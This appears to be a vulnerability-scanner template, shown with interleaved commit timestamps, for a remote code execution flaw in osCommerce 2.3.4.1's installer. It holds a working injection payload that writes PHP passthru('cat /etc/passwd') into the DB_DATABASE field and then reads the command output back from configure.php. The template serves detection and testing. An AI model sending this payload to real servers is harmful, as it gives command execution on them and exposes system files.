2021-07-15 12:59:24 +00:00
id : oscommerce-rce
2021-07-15 12:41:26 +00:00
info :
author : Suman_Kar
name : osCommerce 2.3.4.1 - Remote Code Execution
description : Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php
reference : https://www.exploit-db.com/exploits/50128
severity : high
tags : rce,oscommerce
requests :
- raw :
- |
2021-07-15 12:58:08 +00:00
POST /install/install.php?step=4 HTTP/1.1
2021-07-15 12:41:26 +00:00
Host : {{Hostname}}
Accept-Encoding : gzip, deflate
Accept : */*
Connection : close
Content-Length : 95
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type : application/x-www-form-urlencoded
DIR_FS_DOCUMENT_ROOT=.%2F&DB_DATABASE=%27%29%3Bpassthru%28%27cat+%2Fetc%2Fpasswd%27%29%3B%2F%2A
- |
2021-07-15 12:58:08 +00:00
GET /install/includes/configure.php HTTP/1.1
2021-07-15 12:41:26 +00:00
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding : gzip, deflate
Accept : */*
Connection : close
matchers-condition : and
matchers :
2021-07-15 12:58:08 +00:00
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-15 12:58:08 +00:00
part : body
2021-07-15 12:41:26 +00:00
- type : status
status :
- 200